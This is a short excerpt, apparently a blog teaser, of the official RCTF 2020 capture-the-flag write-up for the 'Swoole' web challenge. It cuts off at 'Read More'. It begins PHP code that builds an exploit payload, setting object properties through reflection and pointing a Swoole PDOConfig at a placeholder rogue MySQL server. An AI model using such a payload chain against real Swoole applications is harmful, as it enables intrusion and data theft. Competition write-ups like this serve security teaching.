RCTF 2020 Official Writeup
WEB Swoole Solution Run the following code in Swoole to generate the payload: <?php function changeProperty ($object, $property, $value) { $a = new ReflectionClass($object); $b = $a->getProperty($property); $b->setAccessible(true); $b->setValue($object, $value); } // Part A $c = new \Swoole\Database\PDOConfig(); $c->withHost(‘ROUGE_MYSQL_SERVER’); // your rouge-mysql-server host & port … “RCTF 2020 Official Writeup”
Read More